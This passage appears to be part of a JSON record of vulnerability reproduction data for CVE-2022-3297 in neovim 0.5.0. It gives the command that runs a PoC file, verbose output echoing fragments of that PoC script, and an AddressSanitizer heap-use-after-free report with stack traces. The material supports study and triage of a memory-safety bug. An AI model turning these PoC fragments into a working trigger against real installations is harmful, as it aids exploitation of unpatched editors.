fa\n  0x0c047fff82a0: fa fa 01 fa fa fa 05 fa fa fa 05 fa fa fa fd fd\n  0x0c047fff82b0: fa fa 00 07 fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82c0: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82d0: fa fa 05 fa fa fa fd fa fa fa 01 fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==63413==ABORTING\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: sil0norm0i^P\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297/CVE-2022-3297:\nline    5:\nE987: invalid return value from tagfunc=================================================================\n==63744==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000015f9 at pc 0x000000721bef bp 0x7ffdba8bdeb0 sp 0x7ffdba8bdea8\nREAD of size 1 at 0x6020000015f9 thread T0\n    #0 0x721bee in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14\n    #1 0x6fbbc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #2 0x6f6b62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #3 0x70b141 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #4 0x70dd83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #5 0x6e654a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #6 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #7 0x6ea759 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #8 0x6e4753 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #9 0xbf40f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #10 0xbd9401 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #11 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #12 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #13 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #14 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #15 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #16 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #17 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #18 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #19 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #20 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #21 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #22 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #23 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #24 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #25 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #26 0x7fa56790e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x6020000015f9 is located 9 bytes inside of 10-byte region [0x6020000015f0,0x6020000015fa)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0xc72168 in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2098:5\n    #3 0x663c0f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1977:3\n    #4 0xc80ae2 in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:5976:9\n    #5 0x65cd91 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1825:5\n    #6 0x882dba in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2393:13\n    #7 0x65f711 in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1093:12\n    #8 0x659780 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1271:14\n    #9 0x65df34 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:976:11\n    #10 0x9101fd in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4879:17\n    #11 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #12 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #13 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #14 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #15 0x735f8e in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1070:9\n    #16 0xf4b068 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1179:12\n    #17 0xf3ab98 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1524:14\n    #18 0x7231da in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4226:11\n    #19 0x6fbbc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #20 0x6f6b62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #21 0x70b141 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #22 0x70dd83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #23 0x6e654a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #24 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #25 0x6ea759 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #26 0x6e4753 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #27 0xbf40f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #28 0xbd9401 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #29 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d65cd)\n    #1 0xb31f12 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb320e4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb3252d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb325a8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb32cfb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeab54 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xc725c8 in set_string_option_direct /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2192:7\n    #8 0xc4a121 in set_option_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:636:9\n    #9 0xc4783c in set_options_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:695:7\n    #10 0xc46a1d in set_init_1 /home/zzw/Desktop/neovim/build/../src/nvim/option.c:531:3\n    #11 0xa89884 in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:201:3\n    #12 0xa8a31b in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:254:3\n    #13 0x7fa56790e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14 in ins_compl_get_exp\nShadow bytes around the buggy address:\n  0x0c047fff8260: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8270: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8280: fa fa fd fa fa fa fd fa fa fa 05 fa fa fa 01 fa\n  0x0c047fff8290: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82a0: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa 01 fa\n=>0x0c047fff82b0: fa fa 01 fa fa fa fd fa fa fa 07 fa fa fa fd[fd]\n  0x0c047fff82c0: fa fa 00 02 fa fa 01 fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82d0: fa fa 01 fa fa fa fd fd fa fa 00 07 fa fa fd fa\n  0x0c047fff82e0: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82f0: fa fa 01 fa fa fa fd fa fa fa 05 fa fa fa fd fa\n  0x0c047fff8300: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa 02 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==63744==ABORTING", "creation_timestamp": "2026-09-20T13:09:25.763690Z"}]}